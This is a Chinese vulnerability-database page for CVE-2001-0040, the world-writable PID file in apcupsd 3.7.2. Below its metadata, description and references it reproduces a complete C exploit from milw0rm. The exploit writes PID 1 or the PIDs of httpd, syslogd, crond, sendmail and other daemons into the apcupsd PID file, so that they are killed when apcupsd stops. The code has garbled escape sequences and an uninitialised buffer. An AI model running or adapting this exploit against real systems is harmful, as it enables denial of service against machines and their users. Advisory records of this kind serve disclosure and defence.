APC UPS守护程序漏洞
| 漏洞ID | 1106168 | 漏洞类型 | 未知 |
| 发布时间 | 2001-01-15 | 更新时间 | 2005-05-02 |
CVE编号
|
CVE-2001-0040 |
CNNVD-ID
|
CNNVD-200102-108 |
| 漏洞平台 | Linux | CVSS评分 | 2.1 |
|漏洞来源
|漏洞详情
APCUPS守护程序的apcupsd在全域可写文件中保留它的进程ID。本地用户通过在apcupsd.pid文件中说明目标进程ID取消任意进程。
|漏洞EXP
/* Local Denial of Service for any linux box running APCUPSD v3.7.2
*
* APCUPSD has his pid file world writeable, therefore it is possible
* to let it kill another pid and create a denial of service against any
* running daemon. (when the apcupsd is stopped, for example)
*
* Bug discovered by: Mattias Dartsch <[email protected]>
* Exploit code by: The Itch / BsE
*
* Greets fly out to: Tasc, C-Murdah, Calimonk, Zer0, Tozz, Pyra,
* Shadowlady, Wildcoyote, Lucipher, Zephyr, ph33r-the-b33r and aiko
*/
#include <stdio.h>
#define PIDFILE "/var/run/apcupsd.pid"
/* pid file definition (processes that you can choose from to crash)
* these pid files and their paths came from a redhat distribution
*/
#define HTTPDPID "/var/run/httpd.pid"
#define SYSLOGDPID "/var/run/syslogd.pid"
#define CRONDPID "/var/run/crond.pid"
#define KLOGDPID "/var/run/klogd.pid"
#define INETDPID "/var/run/inetd.pid"
#define IDENTDPID "/var/run/identd.pid"
#define SENDMAILPID "/var/run/sendmail.pid"
int dosusage(char *apcfilename)
{
printf("----------------------------n");
printf("nUsage: %s <number>n", apcfilename);
printf("where number is either:n");
printf("1. crash linuxn");
printf("2. crash httpdn");
printf("3. crash klogdn");
printf("4. crash crondn");
printf("5. crash syslogdn");
printf("6. crash inetdn");
printf("7. crash indentdn");
printf("8. crash sendmaildnn");
return 0;
}
int main(int argc, char **argv)
{
FILE *apcpid;
FILE *dospidfile;
char *dospid[5];
int dosarg;
printf("nAPCUPSD can be used to crash any linux distributionn");
printf("or any other pid running at that moment when apcupsd isn");
printf("stopped or when it gets normally killed using its pid.n");
printf("nCoded by The Itch / Bsenn");
if(argc < 2) { dosusage(argv[0]); exit(0); }
if(atoi(argv[1]) > 8) { dosusage(argv[0]); exit(0); }
dosarg = atoi(argv[1]);
apcpid = fopen(PIDFILE, "r");
if(!apcpid)
{
printf("%s does not existnn", PIDFILE);
exit(1);
}
fclose(apcpid);
apcpid = fopen(PIDFILE, "w");
if(dosarg == 1)
{
/* crash entire linux */
fprintf(apcpid, "1");
}
if(dosarg == 2)
{
/* crash httpd */
dospidfile = fopen(HTTPDPID, "r");
fgets(dospid[4], 4, dospidfile);
fclose(dospidfile);
fprintf(apcpid, dospid[4]);
}
if(dosarg == 3)
{
/* crash klogd */
dospidfile = fopen(KLOGDPID, "r");
fgets(dospid[4], 4, dospidfile);
fclose(dospidfile);
fprintf(apcpid, dospid[4]);
}
if(dosarg == 4)
{
/* crash crond */
dospidfile = fopen(CRONDPID, "r");
fgets(dospid[4], 4, dospidfile);
fclose(dospidfile);
fprintf(apcpid, dospid[4]);
}
if(dosarg == 5)
{
/* crash syslogd */
dospidfile = fopen(SYSLOGDPID, "r");
fgets(dospid[4], 4, dospidfile);
fclose(dospidfile);
fprintf(apcpid, dospid[4]);
}
if(dosarg == 6)
{
/* crash inetd */
dospidfile = fopen(INETDPID, "r");
fgets(dospid[4], 4, dospidfile);
fclose(dospidfile);
fprintf(apcpid, dospid[4]);
}
if(dosarg == 7)
{
/* crash identd */
dospidfile = fopen(IDENTDPID, "r");
fgets(dospid[4], 4, dospidfile);
fclose(dospidfile);
fprintf(apcpid, dospid[4]);
}
if(dosarg == 8)
{
/* crash sendmail */
dospidfile = fopen(SENDMAILPID, "r");
fgets(dospid[4], 4, dospidfile);
fclose(dospidfile);
fprintf(apcpid, dospid[4]);
}
fclose(apcpid);
printf("DoS activated, its now a matter of time until apcupsd getsn");
printf("restarted or stopped....nn");
return 0;
}
// milw0rm.com [2001-01-15]
|参考资料
来源:BID
名称:2070
链接:http://www.securityfocus.com/bid/2070
来源:XF
名称:apc-apcupsd-dos
链接:http://xforce.iss.net/static/5654.php
来源:BUGTRAQ
名称:20001206apcupsd3.7.2DenialofService
链接:http://archives.neohapsis.com/archives/bugtraq/2000-12/0066.html
来源:MANDRAKE
名称:MDKSA-2000:077
链接:http://www.linux-mandrake.com/en/security/MDKSA-2000-077.php3
相关推荐: SIR GNUBoard Remote File Include Vulnerability
SIR GNUBoard Remote File Include Vulnerability 漏洞ID 1097510 漏洞类型 Input Validation Error 发布时间 2004-12-15 更新时间 2004-12-15 CVE编号 N/A …
相关文章
我的微信
微信扫一扫

CVE编号
CNNVD-ID
评论